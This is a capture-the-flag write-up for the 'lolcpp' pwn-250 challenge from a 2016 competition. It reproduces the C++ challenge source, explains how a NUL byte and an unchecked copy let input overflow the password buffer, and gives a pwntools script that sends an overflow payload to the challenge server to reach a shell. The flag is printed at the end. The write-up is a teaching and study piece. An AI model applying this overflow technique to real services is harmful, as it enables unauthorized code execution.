tum

Posted by kablaa October, 2016
lolcpp pwn-250

lolcpp (pwn-250)

We were given the source code for this challenge.

                        

#include <cstdint>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <functional>
#include <memory>
#include <unistd.h>


constexpr size_t entry_len = 0x50;

void strip_newline(char *buf, size_t size) {
    char *p = &size[buf];
    while (p >= buf) {
        if (0 == *p or '\n' == *p) {
            *p = 0;
        }
        p--;
    }
}


class User {
public:
    User() {}
    User(const char *name, const char *passwd) {
        strncpy(this->name, name, sizeof(this->name));
        strncpy(this->password, passwd, sizeof(this->password));
    }

    bool check_name(const char *name) {
        return 0 == strcmp(this->name, name);
    }

    bool check_password(const char *passwd) {
        return 0 == strcmp(this->password, passwd);
    }

    void read_name() {
        char input[entry_len];
        fgets(input, sizeof(input) - 1, stdin);
        strip_newline(input, sizeof(input));
        memcpy(this->name, input, sizeof(this->name));
    }

    void read_password() {
        char input[entry_len];
        fgets(input, sizeof(input) - 1, stdin);
        strip_newline(input, sizeof(input));
        memcpy(this->password, input, sizeof(this->password));
    }

    virtual const char *get_password() {
        return this->password;
    }

    virtual void shell() {
        printf("no shell for you!\n");
    }

    bool operator ==(const User &other) {
        return (this->check_name(other.name)
                and this->check_password(other.password));
    }

private:
    char name[entry_len];
    char password[entry_len];
};

class Noob : public User {
public:
    virtual void shell() {
        printf("ehehehe..!");
    }

    bool check_password(const char *) {
        printf("noobs need no passwords!\n");
        return false;
    }
};

class Admin : public User {
public:
    Admin(const char *name, const char *passwd)
        :
        User{name, passwd} {}

    virtual void shell() {
        printf("Hi admin!\n");
        system("/bin/sh");
    }
};

auto password_checker(void (*accepted)()) {
    constexpr ssize_t equals = 0;
    return [&](const char *input, const char *password) {
        char buf[entry_len];
        if (equals == strcmp(input, password)) {
            snprintf(buf, sizeof(buf), "password accepted: %s\n", buf);
            puts(buf);
            accepted();
        } else {
            printf("nope!\n");
        }
    };
}


User login;

int main() {
    setbuf(stdout, nullptr);

    char access_password[entry_len] = "todo: ldap and kerberos support";

    Admin admin{"admin", access_password};

    auto success = [] {
        printf("congrats!\n");
        login.shell();
    };

    printf("please enter your username: ");
    login.read_name();

    printf("please enter your password: ");
    auto check_pw = password_checker(success);
    login.read_password();

    check_pw(login.get_password(), admin.get_password());
}
                        
                    

There are two main bugs in this program. First, we have the strip_newline and fgets functions. From the fgets man page:

The fgets function reads at most one less than the number of characters
specified by n from the stream pointed to by stream into the array pointed
to by s. No additional characters are read after a new-line character
(which is retained) or after end-of-file. A null character is written
immediately after the last character read into the array.
Returns
                        
So, if we add a NULL byte at the end of the password, strcpy will see the end of the string but fgets will not. Thus we will be able to pass the check and keep writing. The second vulnerability comes front the fact that the User object is declared without any arguments passed to its constructor. In the User::read_password function, When
                            
memcpy(this->password, input, sizeof(this->password));
                            
                        
is executed, we can overflow user::password and overwrite the User::accepted function. Here is my exploit.py
                        
from pwn import *
host = '104.198.76.97'
port = 9001
p = remote(host,port)
win_func = 0x400E9A
password = "todo: ldap and kerberos support"
password += "\0"
password += cyclic(40)
password += p64(win_func)
p.sendline("USERNAME")
p.sendline(password)
p.interactive()

                        
                    
hxp{b357 l4ngu4g3 3v3r (7m)}